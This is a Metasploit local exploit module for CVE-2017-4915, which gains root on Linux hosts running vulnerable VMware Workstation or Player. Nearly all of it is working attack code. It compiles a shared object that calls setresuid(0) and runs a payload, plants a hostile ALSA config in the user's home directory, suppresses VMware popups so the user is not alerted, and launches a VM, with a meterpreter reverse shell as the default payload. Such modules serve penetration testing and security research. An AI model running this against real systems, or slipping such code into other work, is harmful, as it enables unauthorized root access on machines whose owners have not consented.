## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'VMware Workstation ALSA Config File Local Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in VMware Workstation Pro and Player on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card. This module has been tested successfully on VMware Player version 12.5.0 on Debian Linux 8 Jessie. }, 'References' => [ [ 'CVE', '2017-4915' ], [ 'EDB', '42045' ], [ 'BID', '98566' ], [ 'URL', 'https://www.securitytracker.com/id/1038525' ], [ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ], [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ] ], 'License' => MSF_LICENSE, 'Author' => [ 'Jann Horn', # Discovery and PoC 'bcoles' # Metasploit ], 'DisclosureDate' => '2017-05-22', 'Platform' => 'linux', 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultOptions' => { 'AppendExit' => true, 'PrependFork' => true, 'WfsDelay' => 30, 'Payload' => 'linux/x64/meterpreter_reverse_tcp' }, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Privileged' => true, 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => UNKNOWN_SIDE_EFFECTS }, 'DefaultTarget' => 1 ) ) register_advanced_options [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']), OptString.new('Xdisplay', [true, 'Display exploit will attempt to use', ':0']) ] end def base_dir datastore['WritableDir'].to_s end def mkdir(path) vprint_status "Creating '#{path}' directory" cmd_exec "mkdir -p #{path}" register_dir_for_cleanup path end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data chmod path end def strip_comments(c_code) c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') end def upload_and_compile(path, data, gcc_args = '') upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end unless gcc_args.to_s.blank? gcc_cmd << " #{gcc_args}" end output = cmd_exec gcc_cmd unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end register_file_for_cleanup path chmod path end def check unless command_exists? '/usr/bin/vmplayer' print_error 'vmplayer is not installed. Exploitation will fail.' return CheckCode::Safe end vprint_good 'vmplayer is installed' unless has_gcc? print_error 'gcc is not installed. Compiling will fail.' return CheckCode::Safe end vprint_good 'gcc is installed' config = read_file('/etc/vmware/config') rescue '' if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/ version = Rex::Version.new $1.gsub(/\.$/, '') vprint_status "VMware is version #{version}" else vprint_error 'Could not determine VMware version.' return CheckCode::Detected end if version >= Rex::Version.new('12.5.6') vprint_error 'Target version is not vulnerable' return CheckCode::Safe end CheckCode::Appears end def exploit if !datastore['ForceExploit'] && is_root? fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end home_dir = cmd_exec 'PATH=$PATH:/usr/bin getent passwd `id -un` | cut -d: -f6' if home_dir.blank? fail_with Failure::Unknown, "Could not find user's home directory" end unless writable? home_dir fail_with Failure::BadConfig, "#{home_dir} is not writable" end # Create a directory for the virtual machine and associated files vmx_name = rand_text_alphanumeric(10..15) vm_dir = "#{base_dir}/#{vmx_name}" mkdir vm_dir # Create shared object payload_name = rand_text_alphanumeric(10..15) so_name = rand_text_alphanumeric(10..15) so = <<~EOF /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142 Original shared object code by jhorn */ #define _GNU_SOURCE #include #include #include #include #include #include #include extern char *program_invocation_short_name; __attribute__((constructor)) void run(void) { uid_t ruid, euid, suid; if (getresuid(&ruid, &euid, &suid)) err(1, "getresuid"); if (ruid == 0 || euid == 0 || suid == 0) { if (setresuid(0, 0, 0) || setresgid(0, 0, 0)) err(1, "setresxid"); system("#{vm_dir}/#{payload_name}"); _exit(0); } } EOF upload_and_compile "#{vm_dir}/#{so_name}.so", strip_comments(so), '-fPIC -shared -Wall -ldl -std=gnu99' # Create virtual machine vmx = <<~EOF .encoding = "UTF-8" config.version = "8" virtualHW.version = "8" scsi0.present = "FALSE" memsize = "4" ide0:0.present = "FALSE" sound.present = "TRUE" sound.fileName = "-1" sound.autodetect = "TRUE" vmci0.present = "FALSE" hpet0.present = "FALSE" displayName = "#{vmx_name}" guestOS = "other" nvram = "#{vmx_name}.nvram" virtualHW.productCompatibility = "hosted" gui.exitOnCLIHLT = "FALSE" powerType.powerOff = "soft" powerType.powerOn = "soft" powerType.suspend = "soft" powerType.reset = "soft" floppy0.present = "FALSE" monitor_control.disable_longmode = 1 EOF upload "#{vm_dir}/#{vmx_name}.vmx", vmx upload_and_chmodx "#{vm_dir}/#{payload_name}", generate_payload_exe # Create ALSA sound config asoundrc = <<~EOF hook_func.pulse_load_if_running { lib "#{vm_dir}/#{so_name}.so" func "conf_pulse_hook_load_if_running" } EOF upload "#{home_dir}/.asoundrc", asoundrc # Hint popups must be disabled. # Popups may cause the VMplayer process to hang open, awaiting input. They may also alert the user. # Also, firstRunDismissedVersion must be set to prevent registration popups on a fresh install. # # VMware uses '~' to determine the user's home directory when reading the preferences file: # stat("~/.vmware/preferences", 0x7fffd18da340) = -1 ENOENT (No such file or directory) # open("~/.vmware/preferences", O_RDONLY) = -1 ENOENT (No such file or directory) # # If we're executing in a shell without '~' expansion, # then we'll need to create this directory in the current working directory. vprint_status 'Disabling VMware popups...' unless cmd_exec("test -d ~ && echo true").include? 'true' mkdir '~' end unless cmd_exec("test -d ~/.vmware && echo true").include? 'true' mkdir '~/.vmware' end # Expand '~' to the appropriate full directory path and parse preferences prefs_file = cmd_exec "PATH=$PATH:/usr/bin realpath ~/.vmware/preferences" unless file? prefs_file cmd_exec "touch #{prefs_file}" register_file_for_cleanup prefs_file end prefs = cmd_exec("cat #{prefs_file}").to_s if prefs.blank? prefs = ".encoding = \"UTF8\"\n" prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n" prefs << "hints.hideAll = \"TRUE\"\n" elsif prefs =~ /hints\.hideAll/i prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"') else prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n") end vprint_status "Writing config file: #{prefs_file}" write_file prefs_file, prefs # Launch VMware in the background to prevent the existing session from dying print_status 'Launching VMware Player...' cmd_exec "DISPLAY=#{datastore['Xdisplay']} PATH=$PATH:/usr/bin vmplayer #{vm_dir}/#{vmx_name}.vmx & echo " end end